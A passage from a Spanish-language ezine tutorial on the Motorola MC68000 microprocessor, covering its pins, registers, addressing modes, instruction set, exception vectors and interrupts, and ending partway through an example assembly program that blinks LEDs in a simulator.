algo asi como una guia basica a partir de la cual podreis investigar vosotros
mismos y profundizar. Existen multitud de microprocesadores; yo voy a
escribir sobre el MC68000 de Motorola, ya que es el que conozco y es un buen
micro con el que aprender. Esta claro que despues utilizareis otros, pero
sabiendo uno no tendreis problemas en aprender otros.
Estoy hablando de micros, ya que en este articulo voy a empezar con la
estructura y la programacion del micro. Decidi empezar por aqui porque creo
que es lo mas interesante para empezar en electronica, ademas sera una buena
guia de iniciacion a lenguaje ensamblador para la gente que no sabe
utilizarlo Si veo que interesa, en otros articulos escribire sobre mapeo de
memorias, circuiteria de seleccion,...
En la web (http://mc68k.netsearch-ezine.com) podreis encontrar un
simulador del MC68000 y un manual de funcionamiento con el que podreis
compilar y simular los programas que hagais.
Puede que os esteis preguntando cual es la aplicacion de todo el royo que
vais a leer, sobre todo aplicado a los temas que os interesan. Programando un
micro (en la practica, lo mas seguro es que programeis un PIC, que es un poco
mas limitado que un micro, pero os llegara de sobra) y creando un circuito
digital controlado por el, podeis hacer desde una calculadora hasta un
selector entre multiples targetas SIM segun el PIN introducido, cerraduras
controladas por una tarjeta EPROM, emuladores de... cualquier circuito que
conozcais ;)
Bueno, sin mas preambulos empiezo.
===== [ Indice ]
1. Introduccion
HARDWARE
2. Propiedades hardware
3. Modelo de programacion
4. La Memoria
SOFTWARE
5. Modos de Direccionamiento
6. Juego de instrucciones
7. Subrutinas
8. Excepciones
9. Interrupciones
10. Ejemplo practico
========== [ HARDWARE ]
===== [ Propiedades hardware ]
-Bus interno: 16 bits
-Unidad Aritmetico Logica (ALU) puede operar sobre 16 bits directamente
-Registros internos de 32 bits (Datos y Direcciones)
-La Entrada/Salida esta mapeada en memoria (Intel utiliza buses diferentes
para entrada/salida)
-Bus de datos: 16 bits
-Bus de direcciones: 32 bits (pero solo utiliza las 24 lineas menos
significativas)
VCC
|
___|_____________
| | _
GND |--| |---> A1 * |
| | . |
CLK ------| | . | Bus de direcciones
_ | | . |
Status | FC0 <---| |---> A23 -
| FC1 <---| | _
- FC2 <---| |<--> D0 |
_ | | . |
| E <----| | . | Bus de datos
Control | ___ | | . |
de | VMA <---| |<--> D15 -
perifericos | ___ | | __ _
- VPA --->| MC68000 |---> AS |
| | _ |
_ ____ | |---> R/W |
| BERR -->| | ___ | Control
Control | _____ | |---> UDS | bus asincrono
del | RESET <-->| | ___ |
sistema | ____ | |---> LDS |
- HALT <-->| | _____ |
| |<--- DTACK -
| |
| | __ _
| |<--- BR |
| | __ | Gestion del
| |---> BG | bus
| | _____ |
|_________________|<--- BGACK -
^ ^ ^
| | |
| | |
____ ____ ____
IPL2 IPL1 IPL0 Entradas de interrupcion
* Fisicamente solo hay 23 lineas de direccion. A0 se sustituye por
___ ___
UDS y LDS de una forma especial.
[Nota:] Las lineas negadas (con una linea por encima) quieren decir que esa
linea se activa con un "0" logico, en lugar de un "1".
-=[ GND (Ground): Masa.
-=[ CLK (Clock): SeÒal de reloj.
-=[ D0-D13 (Data): Bus de datos.
-=[ A1-A23 (Address): Bus de direcciones.
-=[ AS# (Address Strobe): Validacion de direccion.
-=[ R/W# (Read/Write): Control Lectura/Escritura.
-=[ UDS# (Upper Data Strobe): Transferencia por los 8 bits altos del bus de
datos.
-=[ LDS# (Lower Data Strobe): Transferencia por los 8 bits bajos del bus de
datos.
-=[ DTACK# (Data Transfer Acknowledge): Indicador de transferencia completa.
(la recibe del subsistema de memoria)
-=[ IPL*# (Interrupt Priority Level): Entradas de peticion de interrupcion.
Codifican un numero de 3 bits con el
nivel de interrupcion.
-=[ BERR# (Bus Error): Error en el subsistema de memoria o en E/S.
-=[ RESET#: Es una linea bidireccional:
De forma entrante inicializa el micro.
De forma saliente fuerza la inicializacion del entorno.
-=[ HALT#: Es bidireccional:
Como entrada detiene la CPU.
Como salida indica al subsistema que la CPU se ha detenido.
-=[ BR# (Bus Request): Peticion de bus para DMA.
-=[ BG# (Bus Grant): Concesion de bus.
-=[ BGACK# (Bus Acknowledge): Reconocimiento de concesion.
-=[ E: Salida de reloj para perifericos de la familia 68000.
Frecuencia de 1/10 CLK
-=[ VMA# (Valid Memory Address): Indica que el bus de direcciones contiene
una
direccion valida.
-=[ VPA# (Valid Peripherial Address): Indica que la direccion pertenece a un
periferico sincrono.
-=[ FC* (Function Codes): SeÒales de status.
===== [ El Modelo de Programacion ]
El MC68000 tiene dos modos de funcionamiento:
-Modo Usuario: No se pueden ejecutar ciertas instrucciones y solo se
accede al byte bajo del registro de estado.
- 8 registros de Datos de 32 bits (D0-D7)
- 7 registros de direcciones de 32 bits (A0-A6)
- PC (Contador de programa) de 32 bits
- SP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7)
- SR (Registro de estado) 8 bits
-Modo Supervisor: Se accede a todo el juego de instrucciones y a todos los
registros.
- 8 registros de Datos de 32 bits (D0-D7)
- 7 registros de direcciones de 32 bits (A0-A6)
- PC (Contador de programa) de 32 bits
- SSP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7)
- SR (Registro de estado) 16 bits
[Nota:] Los registros de datos, direcciones y contador de programa son
fisicamente los mismos para los dos modos.
Los punteros de pila hay uno fisicamente para cada modo.
El Registro de estado es fisicamente el mismo: El usuario solo utiliza el
byte menos significativo, y el supervisor el registro entero.
[Nota:] Los registros que almacenan direcciones (A*, Sp, CP) son de 32 bits
pero solo utilizan los 24 bits menos significativos.
[Nota:] Cuando vallamos a utilizar la pila en un programa (ya sea de usuario,
para las subrutinas, o de supervisor para las interrupciones) es necesario
inicializarla, sino el micro generara un error.
La de usuario la podemos inicializar asi:
MOVE #$40000,A7
La de supervisor:
ORG $00000
DC.L $40000
-=[ Registro de Estados (SR):
bit 15 14 13 12 11 10 9 8 | 7 6 5 4 3 2 1 0
flag T # S # # I2 I1 I0 | # # # X N Z V C
[Nota:] El byte mas significativo no es accesible por el modo usuario
-=[ T (Trace): Si esta a "1" el micro funciona en modo traza (Paso a paso)
-=[ S (Status): Si esta a "1" estamos en modo Supervisor
Si esta a "0" estamos en modo Usuario
-=[ I2 I1 I0 (Mascara de interrupcion): Si un periferico solicita una
interrupcion, el nivel de prioridad debe ser superior al
codificado por la mascara.
-=[ X (Bit de Extension): Indica el acarreo en operaciones BCD
-=[ N (Flag de Signo): Nos indica si la ultima operacion genero un
numero negativo.
-=[ Z (Flag de Zero): Indica que en la ultima operacion se obtuvo un 0.
-=[ V (Flag de Overflow): Cuando esta a "1" indica que la ultima operacion
genero un desbordamiento.
-=[ C (Flag de Carry): Indica ke en la ultima operacion se genero un
acarreo
===== [ La Memoria ]
El 68000 utiliza el formato Big Endian para el almacenamiento de datos
superiores al byte en memoria. Esto quiere decir que el byte mas
significativo se almacena en posiciones de memoria bajas (cercanas al
$00000).
$00000
.
.
byte alto
byte bajo
.
.
$FFFFF
La seÒal R/W# nos indica si vamos a leer o a escribir en memoria:
R/W# Accion
------------------
0 Escribir
1 Leer
La seÒal AS# se envia al sistema de memoria para decir si la direccion que se
ha puesto en el bus de direcciones es valida.
AS# Indicacion
-----------------------
0 Direccion valida
1 Direccion no valida
UDS# y LDS#:
UDS# LDS# Acceso
---------------------------------------------
0 0 TamaÒo palabra (16 bits)
0 1 Byte bajo
1 0 Byte alto
1 1 No hay acceso a memoria
La seÒal DTACK# viene del sistema de memoria, e indica si se ha conseguido
acceder con exito:
DTACK# Indicacion
--------------------------
0 Se ha accedido
1 No se ha accedido
========== [ PROGRAMACION ]
===== [ Modos de direccionamiento ]
Los modos de direccionamiento son los formas de indicar al micro donde
encontrar un dato determinado, es decir, cual es su direccion efectiva
(direccion fisica del dato).
En el 68000 tenemos 13 modos de direccionamiento:
-=[ Direccionamiento Implicito:
No se necesita operando. Se refiere a un registro definido en la
operacion.
Ej: MOVE $23345,CCR
-=[ Direccionamiento Inmediato:
Se expresa la direccion explicitamente en la operacion.
Se utiliza el caracter # antes de la direccion.
Ej: MOVE #$9F,D5
-=[ Direccionamiento Inmediato Rapido:
Igual que antes, pero el valor es:
Numero entre 1 y 8 para suma y resta.
Numero entre -128 y 127 en instrucciones de movimiento de datos.
Se aÒade el caracter Q al mnemonico y el # antes del numero.
Ej: ADDQ #6,A0
-=[ Direccionamiento Absoluto Largo:
El argumento es la direccion efectiva a la que se accede.
Ej: MULS $25022,D2
-=[ Direccionamiento Absoluto Corto:
El argumento es una direccion de tamaÒo palabra (Word, 2 bytes)
Si el valor esta entre $0000-$7FFF accedemos a los 32k mas bajos
de memoria.
Si el valor esta entre $8000-$FFFF accedemos a los 32k mas altos
de memoria.
Ej: EORI.B #$FF,$8000
-=[ Direccionamiento directo a registro:
El operando es un registro interno, D* o A*
Ej: SUB D1,A2
-=[ Direccionamiento Indirecto:
El operando es una direccion de memoria intermedia, donde esta contenida
la direccion efectiva.
Esta direccion de memoria esta contenida en un registro de direccion.
Ej: ASL.W (A3)
-=[ Direccionamiento Indirecto con Postincremento:
Igual que el anterior, pero despues de obtener el argumento el registro de
direcciones se incrementa en un valor, segun el tamaÒo:
.B (Byte): Se incrementa en 1
.W (Word): Se incrementa en 2
.L (LongWord): Se incrementa en 4
Se utiliza la representacion (A*)+
Ej: CMPM (A0)+,(A4)+
Esto es muy util para recorrer arrays y para actualizar el puntero de pila
al sacar datos (El 68000 no tiene instruccion para eso)
-=[ Direccionamiento Indirecto con Predecremento:
Primero se decrementa el valor del registro de direcciones y luego se
accede al dato.
Ej: OR.B D3,-(A0)
Se utiliza para introducir datos en pila.
-=[ Direccionamiento Indirecto con Desplazamiento:
La direccion efectiva se obtiene sumando un valor al contenido del
registro de direcciones.
El desplazamiento es un numero con signo de 16 bits.
Ej: CHR $24(A4),D3
-=[ Direccionamiento Indirecto con Indice y Desplazamiento:
La direccion efectiva se halla sumando 3 valores:
- El contenido de un registro de direcciones.
- Un desplazamiento de 8 bits.
- Un registro de datos.
Formato: desplazamiento(A*,D*.B|W|L)
Ej: DIVU 8(A3,D7.L),D5
-=[ Direccionamiento Relativo con Desplazamiento:
Igual que el de desplazamiento pero con el contador de programa.
Ej: LEA $200(PC),A3
-=[ Direccionamiento Relativo con Indice y Desplazamiento
Igual que el de indice y desplazamiento pero con el PC
Ej: MOVE $B(PC,D1.L),D5
=====[ El juego de instrucciones ]
Aqui va un extracto del juego de instrucciones. Es un juego sencillo, pero
suficiente.
[Nota:] Omitire ciertas instrucciones, puesto que este articulo esta pensado
para aprender a programar un micro, no para profundizar en el 68000. Si estas
interesado puedes buscar en la web el juego completo.
<++> MC68K/instruciones.txt $3cedee15e6179a39959f231dda8260f2
JUEGO DE INSTRUCCIONES DEL MC68000
[Nota:] Este juego esta escrito resumidamente, y tiene el unico fin de
aprender un poco a prorgamar el micro. Si se quiere utilizar con fines mas
complejos, recomiendo que se busque las especificaciones completas de este
codigo, ya que vendran mas extensamene comentadas.
==[ Comentarios
Los comentarios comienzan por * o por ' y el ensamblador los ignora al
generar el codigo.
==[ Representacion de datos:
Dato Prefijo Ejemplo
-------------------------------------------
Decimal Sin prefijo 63
Binario % %111111
Hexadecimal $ $3F
ASCII ' ' 'NETSEARCH'
==[ Operaciones
Estas operaciones pueden realizarse entre registros dentro de una
instruccion.
Por ejemplo:
NETSEARCH EQU 20
EZINE EQU 30
MOVE #(NETSEARCH + EZINE / 2),D2
seria lo mismo que
MOVE #25,D2
| OR logico
^ OR Exclusivo (aka XOR)
& AND llogico
+ Suma de enteros
- Resta de enteros
* Multiplicacion de enteros
/ Division entera de enteros
> Desplazamiento logico hacia la derecha
< Desplazamiento logico hacia la izquierda
+ (prefijo) Signo positivo
- (prefijo) Signo negativo
! Negacion logica
() Parenesis sin limite de nivel
==[ Etiquetas: Se utilizan para demarcar determinada posicion, y se emplean
sobretodo para las subrutinas.
==[ Extensiones: Se colocan en ciertas instrucciones.
En instrucciones de manejo de datos:
.B El operando es un byte
.W El operando es una palabra (Por defecto para datos)
.L El operando es una palabra larga (Por defecto para direcciones)
En instrucciones de tipo branch (ramificacion):
.S Desplazamiento corto (8 bits)
.L Desplazamiento largo (16 bits)
==[ Directivas o pseudoinstrucciones (Se ponen en el codigo fuente, pero solo
los emplea el compilador, no generan
codigo)
- ABSOLUTE
--------
Indica que el codigo que se generara es absoluto (las referencias a
posiciones de memoria). El codigo absoluto solo se ejecutara correctamente si
se encuentra en las posiciones de memoria para las que ha sido ensamblado.
- RELATIVE
--------
Modo por defecto.
Las referencias a posiciones de memoria seran relativas al Contador de
programa (PC)
- ORG (ORIGIN)
------------
ORG expresion
Indica la posicion de memoria a partir de la cual se coloca el codigo que
se genere a continuacion.
En codigo absoluto puede aparecer 20 veces, y en relativo solo 1.
Ej: ORG $25000
- END
---
Debe aparecer al final del programa. El codigo escrito a continuacion se
ignorara.
- DC
--
DC.B expresion,expresion,...
DC.W expresion,expresion,...
DC.L expresion,expresion,...
Inicializa espacio en memoria.
Ej: DC.W $25000
DC.L 'HOLA',$00
- DS
--
DS.B|W|L expresion
Reserva tantos bytes|words|longword como se ponga en expresion.
Ej: DS.W 2 ----> DC.W 0,0
- EQU
---
etiqueta EQU expresion
Asigna el valor de la expresion a una etiqueta.
Ej: NUMERO EQU $400
Existen mas, pero las omito.
==[ Instrucciones de transferencia de datos
- MOVE
----
MOVE.B|W|L origen, destino
Transfiere datos del origen al destino.
Ej: MOVE #$12,D3
- MOVEA
-----
MOVEA origen,A*
Transfiere una direccion.
Ej: MOVEA $27,A2
- MOVEM
-----
MOVEM.W|L lista de registros,destino
o
MOVEM.W|L origen,lista de registros
Transfiere multiples registros.
- MOVEQ
-----
MOVEQ #n,D*
Transferencia rapida a registro de datos.
n es un numero de 8 bits en complemento a 2.
- MOVEP
-----
MOVEP.W|L O(A2),D*
o
MOVEP.W|L D*,O(A2)
Transferencia a perifericos.
==[ Instrucciones de intercamibo
- EXG (Exchange)
---
EXG expresion, expresion
Permite intercambiar dos registros (de direcciones, de datos o uno con otro)
- SWAP
----
SWAP D*
Intercambia las dos mitades de un registro de datos.
==[ Instrucciones de manejo de direcciones efectivas
- LEA (Load Effective Address)
---
LEA fuente,A*
Carga en un registro de direcciones la direccion efectiva del operando.
- PEA (Push Effective Address)
---
Igual que el anterior, pero guarda la direccion efectiva en la pila.
==[ Instrucciones de suma
- ADD
---
ADD.B|W|L origen,destino
Suma binaria. Uno de los dos operandos ha de ser un registro de datos.
Ej: ADD #$4F,D3
- ADDA
----
ADDA.B|W|L fuente,A*
Suma de direccion.
Ej: ADDA.W #$5,A2
- ADDI
----
ADDI.B|W|L #n,destino
Suma inmediata.
- ADDQ
----
ADDQ.B|W|L #n,destino
Suma rapida. 1 <= n <= 8
- ADDX
----
ADDX.B|W|L origen,destino
Suma extendida. origen + destino + X = destino
X es el flag extendido del registro de estados
==[ Instrucciones de Resta
- SUB
---
SUB.B|W|L origen,destino
Resta binaria.
- SUBA
----
SUB.B|W|L origen,A*
Resta de direcciones.
- SUBI
----
SUBI.B|W|L #n,destino
Resta inmediata.
- SUBQ
----
SUBQ.B|W|L #n,destino
Resta rapida.
- SUBX
----
SUBX.B|W|L origen,destino
Resta extendida.
==[ Instrucciones de negacion
- NEG
---
NEG.B|W|L operando
Niega el operando.
- NEGX
----
NEGX.B|W|L operando
Negacion con extension.
==[ Instrucciones de multiplicacion
- MULS
----
MULS.W operando,D*
Multiplicacion con signo.
Los operandos son de 16 bits y el resultado de 32 bits.
- MULU
----
MULU.W operando,D*
Multiplicacion sin signo. El resultado es de 32 bits.
==[ Instrucciones de division
- DIVS
----
DIVS.W operando,D*
Division con signo.
El la palabra mas significativa del resultado es el resto, y la menos
significativa el cociente.
- DIVU
----
DIVU.W operando,D*
Division sin signo.
==[ Instrucciones de comparacion
- CMP
---
CMP.B|W|L operando,D*
Compara registros de datos.
- CMPA
----
CMPA.B|W|L operando,D*
Comparacion inmediata.
- CMPM
----
CMPM.B|W|L (A*)+,(A*)+
Comparacion de posiciones de memoria.
==[ Instrucciones de extension de signo
- EXT
---
EXT.W|L D*
Extiende el bit de signo del operando.
==[Instruccion de puesta a cero
- CLR (Clear)
---
CLR.B|W|L operando
Pone a 0 el operando.
==[ Testeo de operandos
- TST
---
TST.B|W|L operando
Compara 0 con el operando.
- TAS
---
TAS.B operando
Comprueba operando y pone a 1 su bit de signo.
==[ Instrucciones de aritmetica BCD
- ABCD
----
ABCD.B|W|L fuente,destino
Suma en codigo BCD con extension.
- SBCD
----
SBCD.B|W|L fuente,destino
Resta BCD con extension.
- NBCD
----
NBCD.B|W|L operando
Negacion en BCD con extension.
==[ Instrucciones logicas
- AND
---
AND.B|W|L fuente,destino
Realiza un Y logico entre los operandos.
- ANDI
----
ANDI.B|W|L #n,operando
Y logico inmediato.
#n es un numero decimal entre 1 y 8.
- OR
--
OR.B|W|L origen,destino
Realiza un O logico.
- ORI
---
ORI.B|W|L #n,destino
O logico inmediato.
- NOT
---
NOT.B|W|L operando
Negacion logica.
- EOR
---
EOR.B|W|L D*,destino
Realiza un O exclusivo (aka XOR)
- EORI
----
EORI.B|W|L #n,destino
O exclusivo inmediato.
==[ Instrucciones de chequeo de bits
- BTST
----
BTST #n,destino
o
BTST D*,destino
Comprobamos un bit y reflejamos el estado de ese bit en el flag Z del
registro de estados. #n es el bit a comprobar.
- BCLR
----
BCLR #n,destino
o
BCLR D*,destino
Comprueba el bit indicado y refleja el contenido en Z. Despues pone a 0 ese
bit.
- BSET
----
BSET #n,destino
o
BSET D*,destino
Comprueba, actualiza Z y pone a 1 el bit.
- BCHG
----
BCHG #n,destino
o
BCHG D*,destino
Comprueba, actualiza Z e invierte el valor del bit.
==[ Instrucciones de desplazamiento y rotacion
- LSL
---
LSL.B|W|L Di,Dj desp = Di mod 64
LSL.B|W|L #n,D* desp = #n
LSL destino desp = 1
Desplaza hacia la izquierda los bits tantas veces como desp.
C <-- bit|bit|bit| ... |bit|bit|bit <-- 0
|
X <--
- LSR
---
LSR.B|W|L Di,Dj desp = Di mod 64
LSR.B|W|L #n,D* desp = #n
LSR destino desp = 1
Desplaza hacia la derecha los bits tantas veces como desp.
0 --> bit|bit|bit| ... |bit|bit|bit --> C
|
--> X
- ASL
---
ASL.B|W|L Di,Dj desp = Di mod 64
ASL.B|W|L #n,D* desp = #n
ASL destino desp = 1
Desplazamiento aritmetico hacia la izquierda.
El flag V (overflow) se pone a 1 si el bit mas significativo cambia en
algun momento.
- ASR
---
ASR.B|W|L Di,Dj desp = Di mod 64
ASR.B|W|L #n,D* desp = #n
ASR destino desp = 1
Desplazamiento aritmetico hacia la derecha.
El flag V (overflow) se pone a 1 si el bit menos significativo cambia en
algun momento.
- ROL
---
ROL.B|W|L Di,Dj desp = Di mod 64
ROL.B|W|L #n,D* desp = #n
ROL destino desp = 1
Rotacion hacia la izquierda.
________________________________
| |
C <-- bit|bit|bit|...|bit|bit|bit <--
- ROR
---
ROR.B|W|L Di,Dj desp = Di mod 64
ROR.B|W|L #n,D* desp = #n
ROR destino desp = 1
Rotacion hacia la derecha.
________________________________
| |
--> bit|bit|bit|...|bit|bit|bit --> C
- ROXL
----
ROXL.B|W|L Di,Dj desp = Di mod 64
ROXL.B|W|L #n,D* desp = #n
ROXL destino desp = 1
Rotacion a izquierda con extension.
______________________________________
| |
C <-- bit|bit|bit|...|bit|bit|bit <-- X <--
- ROXR
----
ROXR.B|W|L Di,Dj desp = Di mod 64
ROXR.B|W|L #n,D* desp = #n
ROXR destino desp = 1
Rotacion a derecha con extension.
_____________________________________
| |
-- X --> bit|bit|bit|...|bit|bit|bit --> C
==[ Instrucciones de control de programa (Saltos) incondicionales
- BRA (Branch)
---
BRA etiqueta
Ramificacion incondicional (Salto de 8 o 16 bits relativo a PC)
El PC apunta ahora a la direccion de etiqueta.
- BSR (Branch SubRoutine)
---
BSR etiqueta
Ramificacion a subrutina. (Llamada a subrutina con esa etiqueta)
Guarda el PC en la pila y cambia el PC a la dir. de etiqueta.
8 o 16 bits relativo a PC.
- JMP (Jump)
---
JMP destino
Salto. (Direccionamiento absoluto)
El PC se pone la dir. de etiqueta.
- JSR (Jump SubRoutine)
---
JSR destino
Salto a subrutina.
Guarda el PC en pila y cambia PC por la dir. destino.
Direccionamiento absoluto.
- RTS (Return SubRoutine)
---
RTS
Retorno de subrutina.
Recupera el PC de la pila (Volvemos al punto donde se llamo la subrutina)
- RTR
---
RTR
Retorno de subrutina y reposicion de los codigos de condicion.
==[ Saltos condicionales
cc: Condiciones base. Se colocan como sufijo a la instruccion condicional.
Aritmetica con signo
GT (Greater Than) si >
LS (Less Than) si <
GE (Greater or Equal) si >=
LE (Less or Equal) si =<
VS (Overflow) si overflow
VC (No overflow) si no overflow
PL (Plus) si positivo
MI (Minus) si negativo
Aritmetica sin signo
HI (Higher) si mayor
CS (Carry Set) si menor
CC (Carry Clear) si mayor o igual
LS (Low or Same) si menor o igual
EQ (Equal) si igual
NE (Not Equal) si distinto
T (True) si cierto
F (False) si falso
- Bcc (Branch if ...)
---
Bcc etiqueta
Si se cumple cc salta a etiqueta (etiqueta --> PC)
Direccion relativa a PC(8 o 16 bits)
- DBcc
----
DBcc D*,etiqueta
Decrementar y ramificar. Mientras cc se cumple no se hace nada.
Si cc no se cumple, se decrementa el registro D*.
Mientras D* es distinto de -1, se salta a etiqueta.
- Scc (Set)
---
Scc destino
Pone destino a 1 si la condicion se cumple o a 0 si no.
El destino sera un byte.
==[ Instruccion de no operacion
- NOP
---
NOP
No hace nada. Solo cunsume tiempo de reloj (4 ciclos).
Es util para generar retrasos, reservas de espacio para futuras
instrucciones o para substituir instrucciones sobrantes sin tener que
modificar el resto del programa.
==[ INSTRUCCIONES PRIVILEGIADAS
Las instrucciones privilegiadas solo son accesibles en modo supervisor.
Estas instrucciones son muchas de las anteriores pero aplicadas a los
registros SR (Registro de estado), CCR (Registro de Codigos de Condicion) y
USP (Puntero de Pila de Usuario).
Ademas, tenemos estas otras:
- RESET
-----
RESET
Activa la linea de reset o produce una excepcion (el micro no se
reinicializa).
- RTE (Return of Exception)
---
RTE
Retorna de una interrupcion, restaurando SR y PC
- STOP
----
STOP #n
Se pone #n en SR y se para la ejecucion. Para reanudar la ejecucion es
necesaria una interrupcion.
- CHK (Check)
---
CHK origen,D*
Compara un registro con unos limites.
D* < 0 o D* > origen
Si fuera de esos limites, se genera una interrupcion 6 (Tipo trampa)
- TRAP (Trampa)
----
TRAP #n
Se genera una interrupcion trampa. #n esta entre 0 y 15, segun la
prioridad.
- TRAPV
-----
TRAPV
Se genera una excepcion de tipo trampa de orden 7 si el flag V (Overflow)
esta a 1.
<-->
===== [ Subrutinas ]
A veces hay operaciones que se repiten durante un programa, y habria que
reescribir todo el codigo de nuevo, con el consiguiente gasto de memoria y el
engorro de reescribirlo. Para evitar esto se crean subrutinas, que son
pedazos de codigo que podemos llamar mediante instrucciones de salto o
ramificacion. Fisicamente, en memoria solo esta una vez, pero puede
utilizarse cuantas veces sea necesario.
El funcionamiento basico de una subrutina es el siguiente:
Al llegar a una llamada a subrutina, se guarda en la pila la direccion a la
que apunta ese momento el PC (Contador de programa). Entonces actualizamos el
PC con la direccion de comienzo de la subrutina. Una vez termina la subrutina
(Con la instruccion RTS o RTR), se recupera de la pila la direccion del PC y
continuaremos en la siguiente instruccion a la llamada de la subrutina.
===== [ Excepciones ]
Las excepciones son acontecimientos, internos o externos al micro, que
hacen que se interrumpa la ejecucion para realizar una subrutina de atencion
a esa excepcion.
Estas excepciones pueden ser:
Errores hardware
Errores intenos
Reset
Ejecucion paso a paso
Interrupciones hardware
Interrupciones software
Cada excepcion tiene asociada una direccion de memoria donde se encuentra
su vector de excepcion. Ese vector contiene la direccion de comienzo de la
rutina de excepcion.
<++> MC68K/excepciones.txt $296c039a486db7b11fec58023245017b
TABLA DE LOS VECTORES DE EXCEPCION DEL MC68000
[Nota:] El reset ocupa 2 vectores de excepcion
Numero vector Direccion Asignacion
-----------------------------------------------------------------------------
0 $000 Reset: SSP (Punt. de pila supervisor) inicial.
- $004 Reset: PC inicial.
2 $008 Error de bus.
3 $00C Error de direccion.
4 $010 Instruccion ilegal.
5 $014 Division por cero.
6 $018 Instruccion CHK.
7 $01C Instruccion TRAP.
8 $020 Violacion de privilegio.
9 $024 Traza.
10 $028 Instruccion emulada 1010.
11 $02C Instruccion emulada 1111.
12 $030 No asignado. Reservado.
13 $034 No asignado. Reservado.
14 $038 No asignado. Reservado.
15 $03C Vector de interrupcion no inicializado.
6-23 $044-$05C No asignado. Reservado.
24 $060 Interrupcion espurea (Especie de timeout).
25 $064 Autovector de Interrupcion de nivel 1 (IRQ1).
26 $068 Autovector de Interrupcion de nivel 2 (IRQ2).
27 $06C Autovector de Interrupcion de nivel 3 (IRQ3).
28 $070 Autovector de Interrupcion de nivel 4 (IRQ4).
29 $074 Autovector de Interrupcion de nivel 5 (IRQ5).
30 $078 Autovector de Interrupcion de nivel 6 (IRQ6).
31 $07C Autovector de Interrupcion de nivel 7 (IRQ7).
32-47 $080-$0BC Vectores de la instruccion TRAP (1-15).
48-63 $0C0-$0FC No asignado. Reservado.
64-255 $100-$3FC Vectores de interrupcion de usuario.
Direccion de excepcion = Numero de vector x 4
<-->
===== [ Interrupciones ]
Las interrupciones son el mecanismo basico de sincronizacion del micro con
dispositivos externos. Quiza sean una de las cosas mas importantes en un
micro.
____ ____ ____
Pueden ser generadas por hardware, a traves de las lineas IPL2 IPL1 e IPL0
o por software, mediante las instrucciones TRAP.
Existe tambien una interrupcion especial llamada Interrupcion Espurea, que
sirve para evitar esperas infinitas cuando el micro lleva mucho tiempo
esperando (por ejemplo, se activa una IRQ por ruido, pero realmente nadie
pide la interrupcion).
Una interrupcion funciona basicamente igual que una subrutina, con la
diferencia de que se trabaja en modo supervisor (y por tanto, tambien
utilizamos la pila de supervisor (SSP).
-=[ Mecanismo de solicitud
En las lineas de interrupcion se codifica el nivel de prioridad de la
interrupcion. Se utilizan los 7 Autovectores (ya que estamos hablando de una
interrupcion generada externamente, por un periferico, por ejemplo).
____ ____ ____
IPL2 IPL1 IPL0 Nivel de prioridad
------------------------------------------------------------
0 0 0 7 (Maxima, no enmascarable)
0 0 1 6
0 1 0 5
0 1 1 4
1 0 0 3
1 0 1 2
1 1 0 1 (Minima)
1 1 1 No se solicita interrupcion
[Nota:] Como vemos, son lineas que se activan a nivel bajo (es decir, con
un 0).
Se suele utilizar un codificador para generar estos codigos a partir de
las 7 IRQ, pero eso ya lo veremos en proximos articulos.
-=[ Enmascaramiento
El enmascaramiento nos sirve para controlar si cuando se activa una
interrupcion y ya esta otra en ejecucion se debe parar la primera o no. Esto
se hace con la mascara de interrupcion, codificada en el byte alto del
registro de estado, como hemos visto anteriormente. Esta mascara se
actualiza cuando se genera una interrupcion, y si se genera otra, el nivel de
prioridad de esta interrupcion debe ser superior a la mascara, o se ignorara.
===== [ Ejemplo practico ]
Aqui os dejo un pequeÒo ejercicio practico para que veais como funciona el
68000. Tendreis que utilizar el simulador.
No voy a explicar como funciona, porque es bastante intuitivo.
Simplemente, teneis que compilar y linkar el codigo y ejecutarlo en el
simulador. Dentro del simulador, antes de ejecutar debereis configurar las
posiciones de memoria de los puertos de entrada y de salida que necesiteis
(aqui uso como entrada $60000 y como salida $60001) y configurar la ventana
para que muestre esos puertos y ver su contenido durante la ejecucion.
Tambien podeis ejecutar en modo traza.
Bien, el objetivo es el siguiente:
Tenemos un sistema de 8 leds conectados a la posicion de memoria $60000 de
un sistema digital con un micro MC68000. Cada uno de esos leds se enciende
cuando recibe un "1" logico, y se apaga al recibir un "0".
En el puerto de entrada, situado en la posicion $60001, si se pone un 1 los
leds deben parpadear mientras ese 1 siga ahi. Si se pone un 2, los leds deben
hacer un efecto estilo el coche fantastico Kit (bueno, los malotes si lo
preferis le poneis leds verdes y ya esta :P). Si se pone cualquier otro dato,
los leds continuaran apagados.
Tambien tenemos un pulsador conectado a las lineas de interrupcion, que
genera una interrupcion de nivel 2 (IRQ2). Si lo pulsamos, apagamos todos los
leds.
[Nota:] Cada led esta conectado a un bit del primer byte del puerto de
salida.
<++> MC68K/ejem1.asm $8af4b3ca02cab78eace7500a4bc81df1
**** SIMULACION CON LEDS
ABSOLUTE
ORG $00000
DC.L $40000 * Inicializamos la SSP
DC.L $25000
ORG $68 * Inicializamos la IRQ2 (Su autovector
DC.L $26000 * es el $68) la direccion de comienzo
* de la rutina de interrupcion sera
* la $26000
ORG $25000
MOVE.L #$29000,A7 * Inicializacion de SP
INICIO
CLR.L D0 * Ponemos a 0 D0
MOVE.B $60000,D0 * Leer entrada
CMPI.B #1,D0 * Si es 1...
BEQ PARPADEO * ...saltamos a parpadeo
CMPI.B #2,D0 * Si es 2...
BEQ COCHE * ...saltamos a COCHE
JMP INICIO * Sino, reiniciamos
**** Bucle FOR de $F a $0
WAIT
MOVE.W #$F,D1
ITER
DBF D1,ITER *
RTS
**** Subrutina 1: Parpadeo
PARPADEO
MOVE.B #$FF,$60001 * Escribir 1's en el byte de salida (8 LEDS)
JSR WAIT * Hacemos un retardo (Subrutina Bucle FOR)
MOVE.B #$00,$60001 * Escribir 0's en salida
CMPI.B #1,D0
BNE INICIO
JSR WAIT
JMP PARPADEO
*** Subrutina 2: Coche Fantastico
COCHE
MOVE #1,D2
IZQUIERDA
MOVE.B D2,$60001 * Poner 1 en salida
JSR WAIT
CMPI.B #2,D0 * Comprobar que D0 sigue siendo 2...
BNE INICIO * ...sino volvemos al comienzo
MULU #$2,D2 * Multiplicamos por 2 D2, asi tenemos el siguiente LED
* que serian 1,2,4,8,16,32,64 y 128 en binario
CMP #128,D2 * Se para en el ultimo bit encendido y cambia de
* sentido
BEQ DERECHA
JMP IZQUIERDA
DERECHA
MOVE.B D2,$60001
JSR WAIT
CMPI.B #2,D0
BNE INICIO
DIVU #$2,D2
